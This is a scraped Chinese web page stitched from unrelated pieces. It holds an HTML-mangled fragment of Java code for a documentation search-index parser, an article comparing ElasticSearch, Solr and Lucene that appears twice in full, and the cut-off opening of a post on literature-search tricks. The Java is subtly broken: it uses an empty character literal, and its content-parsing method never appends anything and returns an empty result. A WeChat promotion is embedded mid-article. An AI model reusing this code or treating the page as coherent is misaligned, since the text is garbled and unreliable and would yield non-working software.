style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private?void?parseHTML?(File?f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出標題<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????String?content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF ---
全文搜索引擎 ElasticSearch 還是 Solr?
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 56 次瀏覽 ? 2022-05-27 20:41
前言
最近項目組安排了一個(gè)任務(wù),項目中用到了基于 Solr 的全文搜索,但是該 Solr 搜索云項目不穩定,經(jīng)常查詢(xún)不出來(lái)數據,需要手動(dòng)全量同步。
而且它還是其他團隊在維護,依賴(lài)性太強,導致 Solr 服務(wù)一出問(wèn)題,我們的項目也基本癱瘓,因為所有的依賴(lài)查詢(xún)都無(wú)結果數據了。
所以考慮開(kāi)發(fā)一個(gè)適配層,如果 Solr 搜索出問(wèn)題,自動(dòng)切換到新的搜索 ES。其實(shí)可以通過(guò) Solr 集群或者服務(wù)容錯等設計來(lái)解決該問(wèn)題。
但是先不考慮本身設計的合理性,領(lǐng)導需要開(kāi)發(fā),所以我開(kāi)始踏上了搭建 ES 服務(wù)的道路,從零開(kāi)始,因為之前完全沒(méi)接觸過(guò) ES,所以通過(guò)本系列來(lái)記錄下自己的開(kāi)發(fā)過(guò)程。
本篇文章的總體內容大致如下圖:
由 ReyCG 精心繪制并提供
什么是全文搜索引擎?
百度百科中的定義:
全文搜索引擎是目前廣泛應用的主流搜索引擎。它的工作原理是計算機索引程序通過(guò)掃描文章中的每一個(gè)詞,對每一個(gè)詞建立一個(gè)索引,指明該詞在文章中出現的次數和位置,當用戶(hù)查詢(xún)時(shí),檢索程序就根據事先建立的索引進(jìn)行查找,并將查找的結果反饋給用戶(hù)的檢索方式。這個(gè)過(guò)程類(lèi)似于通過(guò)字典中的檢索字表查字的過(guò)程。
從定義中我們已經(jīng)可以大致了解全文檢索的思路了,為了更詳細的說(shuō)明,我們先從生活中的數據說(shuō)起。
我們生活中的數據總體分為兩種:
當然有的地方還會(huì )有第三種:半結構化數據,如 XML,HTML 等,當根據需要可按結構化數據來(lái)處理,也可抽取出純文本按非結構化數據來(lái)處理。
根據兩種數據分類(lèi),搜索也相應的分為兩種:結構化數據搜索和非結構化數據搜索。
對于結構化數據,我們一般都是可以通過(guò)關(guān)系型數據庫(MySQL,Oracle 等)的 table 的方式存儲和搜索,也可以建立索引。
對于非結構化數據,也即對全文數據的搜索主要有兩種方法:
順序掃描:通過(guò)文字名稱(chēng)也可了解到它的大概搜索方式,即按照順序掃描的方式查詢(xún)特定的關(guān)鍵字。
例如給你一張報紙,讓你找到該報紙中“RNG”的文字在哪些地方出現過(guò)。你肯定需要從頭到尾把報紙閱讀掃描一遍,然后標記出關(guān)鍵字在哪些版塊出現過(guò)以及它的出現位置。
這種方式無(wú)疑是最耗時(shí)的最低效的,如果報紙排版字體小,而且版塊較多甚至有多份報紙,等你掃描完你的眼睛也差不多了。
全文檢索:對非結構化數據順序掃描很慢,我們是否可以進(jìn)行優(yōu)化?把我們的非結構化數據想辦法弄得有一定結構不就行了嗎?
將非結構化數據中的一部分信息提取出來(lái),重新組織,使其變得有一定結構,然后對此有一定結構的數據進(jìn)行搜索,從而達到搜索相對較快的目的。
這種方式就構成了全文檢索的基本思路。這部分從非結構化數據中提取出的然后重新組織的信息,我們稱(chēng)之索引。
還以讀報紙為例,我們想關(guān)注英雄聯(lián)盟 S8 全球總決賽的新聞,假如都是 RNG 的粉絲,如何快速找到 RNG 新聞的報紙和版塊呢?
全文檢索的方式就是,將所有報紙中所有版塊中關(guān)鍵字進(jìn)行提取,如"EDG","RNG","FW","戰隊","英雄聯(lián)盟"等。
然后對這些關(guān)鍵字建立索引,通過(guò)索引我們就可以對應到該關(guān)鍵詞出現的報紙和版塊。注意區別目錄搜索引擎。
為什么要用全文搜索搜索引擎
之前,有同事問(wèn)我,為什么要用搜索引擎?我們的所有數據在數據庫里面都有,而且 Oracle、SQL Server 等數據庫里也能提供查詢(xún)檢索或者聚類(lèi)分析功能,直接通過(guò)數據庫查詢(xún)不就可以了嗎?
確實(shí),我們大部分的查詢(xún)功能都可以通過(guò)數據庫查詢(xún)獲得,如果查詢(xún)效率低下,還可以通過(guò)建數據庫索引,優(yōu)化 SQL 等方式提升效率,甚至通過(guò)引入緩存來(lái)加快數據的返回速度。
如果數據量更大,就可以分庫分表來(lái)分擔查詢(xún)壓力。那為什么還要全文搜索引擎呢?我們主要從以下幾個(gè)原因分析:
數據類(lèi)型
全文索引搜索支持非結構化數據的搜索,可以更好地快速搜索大量存在的任何單詞或單詞組的非結構化文本。
例如 Google,百度類(lèi)的網(wǎng)站搜索,它們都是根據網(wǎng)頁(yè)中的關(guān)鍵字生成索引,我們在搜索的時(shí)候輸入關(guān)鍵字,它們會(huì )將該關(guān)鍵字即索引匹配到的所有網(wǎng)頁(yè)返回;還有常見(jiàn)的項目中應用日志的搜索等等。
對于這些非結構化的數據文本,關(guān)系型數據庫搜索不是能很好的支持。
索引的維護
一般傳統數據庫,全文檢索都實(shí)現的很雞肋,因為一般也沒(méi)人用數據庫存文本字段。
進(jìn)行全文檢索需要掃描整個(gè)表,如果數據量大的話(huà)即使對 SQL 的語(yǔ)法優(yōu)化,也收效甚微。
建立了索引,但是維護起來(lái)也很麻煩,對于 insert 和 update 操作都會(huì )重新構建索引。
什么時(shí)候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
現在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它們的索引建立都是根據倒排索引的方式生成索引,何謂倒排索引?
維基百科:倒排索引(英語(yǔ):Inverted index),也常被稱(chēng)為反向索引、置入檔案或反向檔案,是一種索引方法,被用來(lái)存儲在全文搜索下某個(gè)單詞在一個(gè)文檔或者一組文檔中的存儲位置的映射。它是文檔檢索系統中最常用的數據結構。
Lucene
Lucene 是一個(gè) Java 全文搜索引擎,完全用 Java 編寫(xiě)。Lucene 不是一個(gè)完整的應用程序,而是一個(gè)代碼庫和 API,可以很容易地用于向應用程序添加搜索功能。Lucene 通過(guò)簡(jiǎn)單的 API 提供強大的功能:
可擴展的高性能索引:
強大,準確,高效的搜索算法:
跨平臺解決方案:
Apache 軟件基金會(huì ):
Solr
Apache Solr 是一個(gè)基于名為 Lucene 的 Java 庫構建的開(kāi)源搜索平臺。它以用戶(hù)友好的方式提供 Apache Lucene 的搜索功能。
作為一個(gè)行業(yè)參與者已近十年,它是一個(gè)成熟的產(chǎn)品,擁有強大而廣泛的用戶(hù)社區。
它提供分布式索引,復制,負載平衡查詢(xún)以及自動(dòng)故障轉移和恢復。如果它被正確部署然后管理得好,它就能夠成為一個(gè)高度可靠,可擴展且容錯的搜索引擎。
很多互聯(lián)網(wǎng)巨頭,如 Netflix,eBay,Instagram 和亞馬遜(CloudSearch)都使用 Solr,因為它能夠索引和搜索多個(gè)站點(diǎn)。微信搜索公眾號:Java項目精選,回復:java 領(lǐng)取資料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一個(gè)開(kāi)源(Apache 2 許可證),基于 Apache Lucene 庫構建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后幾年推出的。它提供了一個(gè)分布式,多租戶(hù)能力的全文搜索引擎,具有 HTTP Web 界面(REST)和無(wú)架構 JSON 文檔。
Elasticsearch 的官方客戶(hù)端庫提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以劃分為分片的索引,并且每個(gè)分片可以具有多個(gè)副本。
每個(gè) Elasticsearch 節點(diǎn)都可以有一個(gè)或多個(gè)分片,其引擎也可以充當協(xié)調器,將操作委派給正確的分片。
Elasticsearch 可通過(guò)近實(shí)時(shí)搜索進(jìn)行擴展。其主要功能之一是多租戶(hù)。主要功能列表包括:
Elasticsearch vs Solr 的選擇
由于 Lucene 的復雜性,一般很少會(huì )考慮它作為搜索的第一選擇,排除一些公司需要自研搜索框架,底層需要依賴(lài) Lucene。
所以這里我們重點(diǎn)分析哪一個(gè)更好?它們有什么不同?你應該使用哪一個(gè)?
歷史比較
Apache Solr 是一個(gè)成熟的項目,擁有龐大而活躍的開(kāi)發(fā)和用戶(hù)社區,以及 Apache 品牌。
Solr 于 2006 年首次發(fā)布到開(kāi)源,長(cháng)期以來(lái)一直占據著(zhù)搜索引擎領(lǐng)域,并且是任何需要搜索功能的人的首選引擎。
它的成熟轉化為豐富的功能,而不僅僅是簡(jiǎn)單的文本索引和搜索;如分面,分組,強大的過(guò)濾,可插入的文檔處理,可插入的搜索鏈組件,語(yǔ)言檢測等。
Solr 在搜索領(lǐng)域占據了多年的主導地位。然后,在 2010 年左右,Elasticsearch 成為市場(chǎng)上的另一種選擇。
那時(shí)候,它遠沒(méi)有 Solr 那么穩定,沒(méi)有 Solr 的功能深度,沒(méi)有思想分享,品牌等等。
Elasticsearch 雖然很年輕,但它也自己的一些優(yōu)勢,Elasticsearch 建立在更現代的原則上,針對更現代的用例,并且是為了更容易處理大型索引和高查詢(xún)率而構建的。
此外,由于它太年輕,沒(méi)有社區可以合作,它可以自由地向前推進(jìn),而不需要與其他人(用戶(hù)或開(kāi)發(fā)人員)達成任何共識或合作,向后兼容,或任何其他更成熟的軟件通常必須處理。
因此,它在 Solr 之前就公開(kāi)了一些非常受歡迎的功能(例如,接近實(shí)時(shí)搜索,英文:Near Real-Time Search)。
從技術(shù)上講,NRT 搜索的能力確實(shí)來(lái)自 Lucene,它是 Solr 和 Elasticsearch 使用的基礎搜索庫。
具有諷刺意味的是,因為 Elasticsearch 首先公開(kāi)了 NRT 搜索,所以人們將 NRT 搜索與 Elasticsearch 聯(lián)系在一起。
盡管 Solr 和 Lucene 都是同一個(gè) Apache 項目的一部分,但是,人們會(huì )首先期望 Solr 具有如此高要求的功能。
特征差異比較
這兩個(gè)搜索引擎都是流行的,先進(jìn)的的開(kāi)源搜索引擎。它們都是圍繞核心底層搜索庫 Lucene 構建的,但它們又是不同的。
像所有東西一樣,每個(gè)都有其優(yōu)點(diǎn)和缺點(diǎn),根據您的需求和期望,每個(gè)都可能更好或更差。
Solr 和 Elasticsearch 都在快速發(fā)展,所以,話(huà)不多說(shuō),先來(lái)看下它們的差異清單:
查看全部
全文搜索引擎 ElasticSearch 還是 Solr?
前言
最近項目組安排了一個(gè)任務(wù),項目中用到了基于 Solr 的全文搜索,但是該 Solr 搜索云項目不穩定,經(jīng)常查詢(xún)不出來(lái)數據,需要手動(dòng)全量同步。
而且它還是其他團隊在維護,依賴(lài)性太強,導致 Solr 服務(wù)一出問(wèn)題,我們的項目也基本癱瘓,因為所有的依賴(lài)查詢(xún)都無(wú)結果數據了。
所以考慮開(kāi)發(fā)一個(gè)適配層,如果 Solr 搜索出問(wèn)題,自動(dòng)切換到新的搜索 ES。其實(shí)可以通過(guò) Solr 集群或者服務(wù)容錯等設計來(lái)解決該問(wèn)題。
但是先不考慮本身設計的合理性,領(lǐng)導需要開(kāi)發(fā),所以我開(kāi)始踏上了搭建 ES 服務(wù)的道路,從零開(kāi)始,因為之前完全沒(méi)接觸過(guò) ES,所以通過(guò)本系列來(lái)記錄下自己的開(kāi)發(fā)過(guò)程。
本篇文章的總體內容大致如下圖:
由 ReyCG 精心繪制并提供
什么是全文搜索引擎?
百度百科中的定義:
全文搜索引擎是目前廣泛應用的主流搜索引擎。它的工作原理是計算機索引程序通過(guò)掃描文章中的每一個(gè)詞,對每一個(gè)詞建立一個(gè)索引,指明該詞在文章中出現的次數和位置,當用戶(hù)查詢(xún)時(shí),檢索程序就根據事先建立的索引進(jìn)行查找,并將查找的結果反饋給用戶(hù)的檢索方式。這個(gè)過(guò)程類(lèi)似于通過(guò)字典中的檢索字表查字的過(guò)程。
從定義中我們已經(jīng)可以大致了解全文檢索的思路了,為了更詳細的說(shuō)明,我們先從生活中的數據說(shuō)起。
我們生活中的數據總體分為兩種:
當然有的地方還會(huì )有第三種:半結構化數據,如 XML,HTML 等,當根據需要可按結構化數據來(lái)處理,也可抽取出純文本按非結構化數據來(lái)處理。
根據兩種數據分類(lèi),搜索也相應的分為兩種:結構化數據搜索和非結構化數據搜索。
對于結構化數據,我們一般都是可以通過(guò)關(guān)系型數據庫(MySQL,Oracle 等)的 table 的方式存儲和搜索,也可以建立索引。
對于非結構化數據,也即對全文數據的搜索主要有兩種方法:
順序掃描:通過(guò)文字名稱(chēng)也可了解到它的大概搜索方式,即按照順序掃描的方式查詢(xún)特定的關(guān)鍵字。
例如給你一張報紙,讓你找到該報紙中“RNG”的文字在哪些地方出現過(guò)。你肯定需要從頭到尾把報紙閱讀掃描一遍,然后標記出關(guān)鍵字在哪些版塊出現過(guò)以及它的出現位置。
這種方式無(wú)疑是最耗時(shí)的最低效的,如果報紙排版字體小,而且版塊較多甚至有多份報紙,等你掃描完你的眼睛也差不多了。
全文檢索:對非結構化數據順序掃描很慢,我們是否可以進(jìn)行優(yōu)化?把我們的非結構化數據想辦法弄得有一定結構不就行了嗎?
將非結構化數據中的一部分信息提取出來(lái),重新組織,使其變得有一定結構,然后對此有一定結構的數據進(jìn)行搜索,從而達到搜索相對較快的目的。
這種方式就構成了全文檢索的基本思路。這部分從非結構化數據中提取出的然后重新組織的信息,我們稱(chēng)之索引。
還以讀報紙為例,我們想關(guān)注英雄聯(lián)盟 S8 全球總決賽的新聞,假如都是 RNG 的粉絲,如何快速找到 RNG 新聞的報紙和版塊呢?
全文檢索的方式就是,將所有報紙中所有版塊中關(guān)鍵字進(jìn)行提取,如"EDG","RNG","FW","戰隊","英雄聯(lián)盟"等。
然后對這些關(guān)鍵字建立索引,通過(guò)索引我們就可以對應到該關(guān)鍵詞出現的報紙和版塊。注意區別目錄搜索引擎。
為什么要用全文搜索搜索引擎
之前,有同事問(wèn)我,為什么要用搜索引擎?我們的所有數據在數據庫里面都有,而且 Oracle、SQL Server 等數據庫里也能提供查詢(xún)檢索或者聚類(lèi)分析功能,直接通過(guò)數據庫查詢(xún)不就可以了嗎?
確實(shí),我們大部分的查詢(xún)功能都可以通過(guò)數據庫查詢(xún)獲得,如果查詢(xún)效率低下,還可以通過(guò)建數據庫索引,優(yōu)化 SQL 等方式提升效率,甚至通過(guò)引入緩存來(lái)加快數據的返回速度。
如果數據量更大,就可以分庫分表來(lái)分擔查詢(xún)壓力。那為什么還要全文搜索引擎呢?我們主要從以下幾個(gè)原因分析:
數據類(lèi)型
全文索引搜索支持非結構化數據的搜索,可以更好地快速搜索大量存在的任何單詞或單詞組的非結構化文本。
例如 Google,百度類(lèi)的網(wǎng)站搜索,它們都是根據網(wǎng)頁(yè)中的關(guān)鍵字生成索引,我們在搜索的時(shí)候輸入關(guān)鍵字,它們會(huì )將該關(guān)鍵字即索引匹配到的所有網(wǎng)頁(yè)返回;還有常見(jiàn)的項目中應用日志的搜索等等。
對于這些非結構化的數據文本,關(guān)系型數據庫搜索不是能很好的支持。
索引的維護
一般傳統數據庫,全文檢索都實(shí)現的很雞肋,因為一般也沒(méi)人用數據庫存文本字段。
進(jìn)行全文檢索需要掃描整個(gè)表,如果數據量大的話(huà)即使對 SQL 的語(yǔ)法優(yōu)化,也收效甚微。
建立了索引,但是維護起來(lái)也很麻煩,對于 insert 和 update 操作都會(huì )重新構建索引。
什么時(shí)候使用全文搜索引擎:
Lucene,Solr,ElasticSearch ?
現在主流的搜索引擎大概就是:Lucene,Solr,ElasticSearch。
它們的索引建立都是根據倒排索引的方式生成索引,何謂倒排索引?
維基百科:倒排索引(英語(yǔ):Inverted index),也常被稱(chēng)為反向索引、置入檔案或反向檔案,是一種索引方法,被用來(lái)存儲在全文搜索下某個(gè)單詞在一個(gè)文檔或者一組文檔中的存儲位置的映射。它是文檔檢索系統中最常用的數據結構。
Lucene
Lucene 是一個(gè) Java 全文搜索引擎,完全用 Java 編寫(xiě)。Lucene 不是一個(gè)完整的應用程序,而是一個(gè)代碼庫和 API,可以很容易地用于向應用程序添加搜索功能。Lucene 通過(guò)簡(jiǎn)單的 API 提供強大的功能:
可擴展的高性能索引:
強大,準確,高效的搜索算法:
跨平臺解決方案:
Apache 軟件基金會(huì ):
Solr
Apache Solr 是一個(gè)基于名為 Lucene 的 Java 庫構建的開(kāi)源搜索平臺。它以用戶(hù)友好的方式提供 Apache Lucene 的搜索功能。
作為一個(gè)行業(yè)參與者已近十年,它是一個(gè)成熟的產(chǎn)品,擁有強大而廣泛的用戶(hù)社區。
它提供分布式索引,復制,負載平衡查詢(xún)以及自動(dòng)故障轉移和恢復。如果它被正確部署然后管理得好,它就能夠成為一個(gè)高度可靠,可擴展且容錯的搜索引擎。
很多互聯(lián)網(wǎng)巨頭,如 Netflix,eBay,Instagram 和亞馬遜(CloudSearch)都使用 Solr,因為它能夠索引和搜索多個(gè)站點(diǎn)。微信搜索公眾號:Java項目精選,回復:java 領(lǐng)取資料 。
主要功能列表包括:
ElasticSearch
Elasticsearch 是一個(gè)開(kāi)源(Apache 2 許可證),基于 Apache Lucene 庫構建的 RESTful 搜索引擎。
Elasticsearch 是在 Solr 之后幾年推出的。它提供了一個(gè)分布式,多租戶(hù)能力的全文搜索引擎,具有 HTTP Web 界面(REST)和無(wú)架構 JSON 文檔。
Elasticsearch 的官方客戶(hù)端庫提供 Java,Groovy,PHP,Ruby,Perl,Python,.NET 和 Javascript。
分布式搜索引擎包括可以劃分為分片的索引,并且每個(gè)分片可以具有多個(gè)副本。
每個(gè) Elasticsearch 節點(diǎn)都可以有一個(gè)或多個(gè)分片,其引擎也可以充當協(xié)調器,將操作委派給正確的分片。
Elasticsearch 可通過(guò)近實(shí)時(shí)搜索進(jìn)行擴展。其主要功能之一是多租戶(hù)。主要功能列表包括:
Elasticsearch vs Solr 的選擇
由于 Lucene 的復雜性,一般很少會(huì )考慮它作為搜索的第一選擇,排除一些公司需要自研搜索框架,底層需要依賴(lài) Lucene。
所以這里我們重點(diǎn)分析哪一個(gè)更好?它們有什么不同?你應該使用哪一個(gè)?
歷史比較
Apache Solr 是一個(gè)成熟的項目,擁有龐大而活躍的開(kāi)發(fā)和用戶(hù)社區,以及 Apache 品牌。
Solr 于 2006 年首次發(fā)布到開(kāi)源,長(cháng)期以來(lái)一直占據著(zhù)搜索引擎領(lǐng)域,并且是任何需要搜索功能的人的首選引擎。
它的成熟轉化為豐富的功能,而不僅僅是簡(jiǎn)單的文本索引和搜索;如分面,分組,強大的過(guò)濾,可插入的文檔處理,可插入的搜索鏈組件,語(yǔ)言檢測等。
Solr 在搜索領(lǐng)域占據了多年的主導地位。然后,在 2010 年左右,Elasticsearch 成為市場(chǎng)上的另一種選擇。
那時(shí)候,它遠沒(méi)有 Solr 那么穩定,沒(méi)有 Solr 的功能深度,沒(méi)有思想分享,品牌等等。
Elasticsearch 雖然很年輕,但它也自己的一些優(yōu)勢,Elasticsearch 建立在更現代的原則上,針對更現代的用例,并且是為了更容易處理大型索引和高查詢(xún)率而構建的。
此外,由于它太年輕,沒(méi)有社區可以合作,它可以自由地向前推進(jìn),而不需要與其他人(用戶(hù)或開(kāi)發(fā)人員)達成任何共識或合作,向后兼容,或任何其他更成熟的軟件通常必須處理。
因此,它在 Solr 之前就公開(kāi)了一些非常受歡迎的功能(例如,接近實(shí)時(shí)搜索,英文:Near Real-Time Search)。
從技術(shù)上講,NRT 搜索的能力確實(shí)來(lái)自 Lucene,它是 Solr 和 Elasticsearch 使用的基礎搜索庫。
具有諷刺意味的是,因為 Elasticsearch 首先公開(kāi)了 NRT 搜索,所以人們將 NRT 搜索與 Elasticsearch 聯(lián)系在一起。
盡管 Solr 和 Lucene 都是同一個(gè) Apache 項目的一部分,但是,人們會(huì )首先期望 Solr 具有如此高要求的功能。
特征差異比較
這兩個(gè)搜索引擎都是流行的,先進(jìn)的的開(kāi)源搜索引擎。它們都是圍繞核心底層搜索庫 Lucene 構建的,但它們又是不同的。
像所有東西一樣,每個(gè)都有其優(yōu)點(diǎn)和缺點(diǎn),根據您的需求和期望,每個(gè)都可能更好或更差。
Solr 和 Elasticsearch 都在快速發(fā)展,所以,話(huà)不多說(shuō),先來(lái)看下它們的差異清單:
你想要的文獻搜索方法都在這里
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 455 次瀏覽 ? 2022-05-23 07:47
2、很時(shí)候我們可以下載下來(lái),但以上面說(shuō)的那種方法進(jìn)行回推時(shí),常常會(huì )出現"Forbidden"的頁(yè)面,這是很多網(wǎng)站都存在的bug。
要解決個(gè)問(wèn)題就需要利用這個(gè)bug和靠你對所查找的內容比較熟悉。就舉一個(gè)簡(jiǎn)單的例子:google里檢索"molecular biology of the gene"時(shí)
